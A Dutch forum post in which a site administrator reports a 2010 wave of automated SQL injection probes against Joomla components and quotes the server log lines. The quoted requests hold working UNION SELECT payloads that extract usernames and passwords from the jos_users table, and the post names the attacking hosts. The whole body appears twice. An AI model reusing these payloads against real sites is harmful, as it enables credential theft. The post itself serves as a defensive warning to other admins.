brinkie
13/06/10, 23:34
Ik zag bij het doorspitten van de statistieken van m'n sites (ach, ieder z'n hobby ;-)) dat er vanochtend tussen 10:30 - 11:30 op één van m'n servers opvallend veel hits waren, en ook minutenlang waarbij één van de sessies zelfs bijna 17 minuten duurde, vanaf diverse andere hostingbedrijven waaronder een aantal Nederlandse.
Al die hits waren duidelijk verdacht. Zogenaamd allemaal met Windows XP machines en gebruikmakend van MSIE 6.0 als browser. Nader onderzoek van de logfiles leerde me dat men vanaf verschillende locaties op zoek was naar lekke Joomla-installaties (componenten) en probeerde die te kraken danwel infecteren.
Voorbeeld uit de logs:
212.227.119.132 - - [13/Jun/2010:11:03:42 +0200] "GET /?option=com_quran&action=viewayat&surano=-69/**/UNION/**/SELECT/**/1,concat(0x26,0x26,0x26,0x25,0x25,0x25,username,0x 3a,password,0x25,0x25,0x25,0x26,0x26,0x26),3,4,5/**/FROM/**/jos_users-- HTTP/1.1" 200 14843 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
70.32.112.133 - - [13/Jun/2010:11:03:54 +0200] "GET /?option=com_bfquiztrial&view=bfquiztrial&catid=34+AND+1=2+UNION+SELECT+1,2,3,4,5,6,7,8,9,co ncat(0x26,0x26,0x26,0x25,0x25,0x25,username,0x3a,p assword,0x25,0x25,0x25,0x26,0x26,0x26),11,12,13,14 ,concat(0x26,0x26,0x26,0x25,0x25,0x25,username,0x3 a,password,0x25,0x25,0x25,0x26,0x26,0x26),15,16,17 ,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,3 4,35,36,37,38,39,40,41,42,43,44,46,47,48,49,50,51, 52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68 ,69,70,71,72,73,74,75,76,77,concat(0x26,0x26,0x26, 0x25,0x25,0x25,username,0x3a,password,0x25,0x25,0x 25,0x26,0x26,0x26),79,80,81,82,83,84,85,86,87,88,8 9,90,91,92,93,94,95,concat(0x26,0x26,0x26,0x25,0x2 5,0x25,username,0x3a,password,0x25,0x25,0x25,0x26, 0x26,0x26),97,98,99,100+from+jos_users+LIMIT+0,1-- HTTP/1.1" 200 14843 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
187.45.193.159 - - [13/Jun/2010:11:04:06 +0200] "GET /?option=com_jepoll&view=poll_graph&task=pollgraph&pollid=-9999+union+all+select+1,concat(0x26,0x26,0x26,0x25 ,0x25,0x25,username,0x3a,password,0x25,0x25,0x25,0 x26,0x26,0x26),3,4,5,6,7+from+jos_users-- HTTP/1.1" 200 14843 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
87.233.188.38 - - [13/Jun/2010:11:04:16 +0200] "GET /?option=com_jejob&view=item&catid=-9999+union+all+select+1,concat(0x26,0x26,0x26,0x25 ,0x25,0x25,username,0x3a,password,0x25,0x25,0x25,0 x26,0x26,0x26),3,4,5+from+jos_users-- HTTP/1.1" 200 14843 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
212.227.119.132 - - [13/Jun/2010:11:05:02 +0200] "GET /?option=com_crowdsource&view=design&cid=-3+uNIOn+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,concat(0x26,0x26,0x26,0x25,0x25,0x25,username, 0x3a,password,0x25,0x25,0x25,0x26,0x26,0x26),18,19 ,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,3 6,37+from+jos_users-- HTTP/1.1" 200 14843 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
216.246.99.64 - - [13/Jun/2010:11:05:13 +0200] "GET /?option=com_event&task=details&sid=-61 union select 1,concat(0x26,0x26,0x26,0x25,0x25,0x25,username,0x 3a,password,0x25,0x25,0x25,0x26,0x26,0x26),3,4,5,6 ,7,8,9,10 from jos_users-- HTTP/1.1" 200 14814 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
61.19.251.143 - - [13/Jun/2010:11:05:14 +0200] "GET /?option=com_crowdsource&view=design&cid=-3+uNIOn+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,concat(0x26,0x26,0x26,0x25,0x25,0x25,username, 0x3a,password,0x25,0x25,0x25,0x26,0x26,0x26),18,19 ,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,3 6,37+from+jos_users-- HTTP/1.1" 200 14843 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
85.10.207.188 - - [13/Jun/2010:11:05:21 +0200] "GET /?option=com_konsultasi&act=detail&sid=-5/**/union/**/select/**/all/**/1,2,3,4,concat(0x26,0x26,0x26,0x25,0x25,0x25,usern ame,0x3a,password,0x25,0x25,0x25,0x26,0x26,0x26),6 ,7,8,9/**/from/**/jos_users-- HTTP/1.1" 200 14843 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
212.227.29.143 - - [13/Jun/2010:11:05:32 +0200] "GET /?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat(0x26,0x26,0x26,0x25, 0x25,0x25,username,0x3a,password,0x25,0x25,0x25,0x 26,0x26,0x26),3,4,5,6,7,8,9,10,11,12,13,14,15,16,1 7,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20 jos_users-- HTTP/1.1" 200 14843 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
212.227.29.143 - - [13/Jun/2010:11:05:40 +0200] "GET /?option=com_abc&view=abc&letter=AS§ionid=-null+union+select+1,concat(0x26,0x26,0x26,0x25,0x2 5,0x25,username,0x3a,password,0x25,0x25,0x25,0x26, 0x26,0x26)+from+jos_users-- HTTP/1.1" 200 14843 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
88.198.69.8 - - [13/Jun/2010:11:05:45 +0200] "GET /?option=com_joomradio&page=show_video&id=-13+union+select+1,concat(0x26,0x26,0x26,0x25,0x25, 0x25,username,0x3a,password,0x25,0x25,0x25,0x26,0x 26,0x26),3,4,5,6,7+from+jos_users-- HTTP/1.1" 200 14843 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
(enzovoorts)
Ik heb het allemaal niet heel diepgaand geanalyseerd, maar het lijkt mij dat er een poging wordt, werd, gedaan om vanaf besmette sites/hosts andere(n) te besmetten.
Eén van de hosters was een Duitse host (kundenserver.de, vanaf diverse servers) waar ik in het verleden al vaker last van heb gehad (onder andere doordat hij een ip-adres van één van m'n servers gekaapt had).
Nederlandse servers die in de logs voorkomen:
server67.icehosting.nl
bronco.eatserver.nl
server1.correcthosting.nl
En verder nog een serie .com en .uk domeinen.
De Nederlandse hosts heb ik op de hoogte gesteld maar het leek mij geen verkeerd idee deze informatie ook hier door te geven. Een gewaarschuwd mens..
Oh ps, omdat men de aanvallen op allerlei domeinen uitprobeert waar niet eens Joomla-sites op staan vielen ze dus al snel door de mand. Verder heb ik de Joomla-installs op de server uiteraard gelijk gecheckt en gelukkig niets mis mee en allemaal redelijk up-to-date.
Al die hits waren duidelijk verdacht. Zogenaamd allemaal met Windows XP machines en gebruikmakend van MSIE 6.0 als browser. Nader onderzoek van de logfiles leerde me dat men vanaf verschillende locaties op zoek was naar lekke Joomla-installaties (componenten) en probeerde die te kraken danwel infecteren.
Voorbeeld uit de logs:
212.227.119.132 - - [13/Jun/2010:11:03:42 +0200] "GET /?option=com_quran&action=viewayat&surano=-69/**/UNION/**/SELECT/**/1,concat(0x26,0x26,0x26,0x25,0x25,0x25,username,0x 3a,password,0x25,0x25,0x25,0x26,0x26,0x26),3,4,5/**/FROM/**/jos_users-- HTTP/1.1" 200 14843 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
70.32.112.133 - - [13/Jun/2010:11:03:54 +0200] "GET /?option=com_bfquiztrial&view=bfquiztrial&catid=34+AND+1=2+UNION+SELECT+1,2,3,4,5,6,7,8,9,co ncat(0x26,0x26,0x26,0x25,0x25,0x25,username,0x3a,p assword,0x25,0x25,0x25,0x26,0x26,0x26),11,12,13,14 ,concat(0x26,0x26,0x26,0x25,0x25,0x25,username,0x3 a,password,0x25,0x25,0x25,0x26,0x26,0x26),15,16,17 ,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,3 4,35,36,37,38,39,40,41,42,43,44,46,47,48,49,50,51, 52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68 ,69,70,71,72,73,74,75,76,77,concat(0x26,0x26,0x26, 0x25,0x25,0x25,username,0x3a,password,0x25,0x25,0x 25,0x26,0x26,0x26),79,80,81,82,83,84,85,86,87,88,8 9,90,91,92,93,94,95,concat(0x26,0x26,0x26,0x25,0x2 5,0x25,username,0x3a,password,0x25,0x25,0x25,0x26, 0x26,0x26),97,98,99,100+from+jos_users+LIMIT+0,1-- HTTP/1.1" 200 14843 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
187.45.193.159 - - [13/Jun/2010:11:04:06 +0200] "GET /?option=com_jepoll&view=poll_graph&task=pollgraph&pollid=-9999+union+all+select+1,concat(0x26,0x26,0x26,0x25 ,0x25,0x25,username,0x3a,password,0x25,0x25,0x25,0 x26,0x26,0x26),3,4,5,6,7+from+jos_users-- HTTP/1.1" 200 14843 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
87.233.188.38 - - [13/Jun/2010:11:04:16 +0200] "GET /?option=com_jejob&view=item&catid=-9999+union+all+select+1,concat(0x26,0x26,0x26,0x25 ,0x25,0x25,username,0x3a,password,0x25,0x25,0x25,0 x26,0x26,0x26),3,4,5+from+jos_users-- HTTP/1.1" 200 14843 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
212.227.119.132 - - [13/Jun/2010:11:05:02 +0200] "GET /?option=com_crowdsource&view=design&cid=-3+uNIOn+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,concat(0x26,0x26,0x26,0x25,0x25,0x25,username, 0x3a,password,0x25,0x25,0x25,0x26,0x26,0x26),18,19 ,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,3 6,37+from+jos_users-- HTTP/1.1" 200 14843 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
216.246.99.64 - - [13/Jun/2010:11:05:13 +0200] "GET /?option=com_event&task=details&sid=-61 union select 1,concat(0x26,0x26,0x26,0x25,0x25,0x25,username,0x 3a,password,0x25,0x25,0x25,0x26,0x26,0x26),3,4,5,6 ,7,8,9,10 from jos_users-- HTTP/1.1" 200 14814 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
61.19.251.143 - - [13/Jun/2010:11:05:14 +0200] "GET /?option=com_crowdsource&view=design&cid=-3+uNIOn+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,concat(0x26,0x26,0x26,0x25,0x25,0x25,username, 0x3a,password,0x25,0x25,0x25,0x26,0x26,0x26),18,19 ,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,3 6,37+from+jos_users-- HTTP/1.1" 200 14843 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
85.10.207.188 - - [13/Jun/2010:11:05:21 +0200] "GET /?option=com_konsultasi&act=detail&sid=-5/**/union/**/select/**/all/**/1,2,3,4,concat(0x26,0x26,0x26,0x25,0x25,0x25,usern ame,0x3a,password,0x25,0x25,0x25,0x26,0x26,0x26),6 ,7,8,9/**/from/**/jos_users-- HTTP/1.1" 200 14843 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
212.227.29.143 - - [13/Jun/2010:11:05:32 +0200] "GET /?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat(0x26,0x26,0x26,0x25, 0x25,0x25,username,0x3a,password,0x25,0x25,0x25,0x 26,0x26,0x26),3,4,5,6,7,8,9,10,11,12,13,14,15,16,1 7,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20 jos_users-- HTTP/1.1" 200 14843 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
212.227.29.143 - - [13/Jun/2010:11:05:40 +0200] "GET /?option=com_abc&view=abc&letter=AS§ionid=-null+union+select+1,concat(0x26,0x26,0x26,0x25,0x2 5,0x25,username,0x3a,password,0x25,0x25,0x25,0x26, 0x26,0x26)+from+jos_users-- HTTP/1.1" 200 14843 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
88.198.69.8 - - [13/Jun/2010:11:05:45 +0200] "GET /?option=com_joomradio&page=show_video&id=-13+union+select+1,concat(0x26,0x26,0x26,0x25,0x25, 0x25,username,0x3a,password,0x25,0x25,0x25,0x26,0x 26,0x26),3,4,5,6,7+from+jos_users-- HTTP/1.1" 200 14843 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
(enzovoorts)
Ik heb het allemaal niet heel diepgaand geanalyseerd, maar het lijkt mij dat er een poging wordt, werd, gedaan om vanaf besmette sites/hosts andere(n) te besmetten.
Eén van de hosters was een Duitse host (kundenserver.de, vanaf diverse servers) waar ik in het verleden al vaker last van heb gehad (onder andere doordat hij een ip-adres van één van m'n servers gekaapt had).
Nederlandse servers die in de logs voorkomen:
server67.icehosting.nl
bronco.eatserver.nl
server1.correcthosting.nl
En verder nog een serie .com en .uk domeinen.
De Nederlandse hosts heb ik op de hoogte gesteld maar het leek mij geen verkeerd idee deze informatie ook hier door te geven. Een gewaarschuwd mens..
Oh ps, omdat men de aanvallen op allerlei domeinen uitprobeert waar niet eens Joomla-sites op staan vielen ze dus al snel door de mand. Verder heb ik de Joomla-installs op de server uiteraard gelijk gecheckt en gelukkig niets mis mee en allemaal redelijk up-to-date.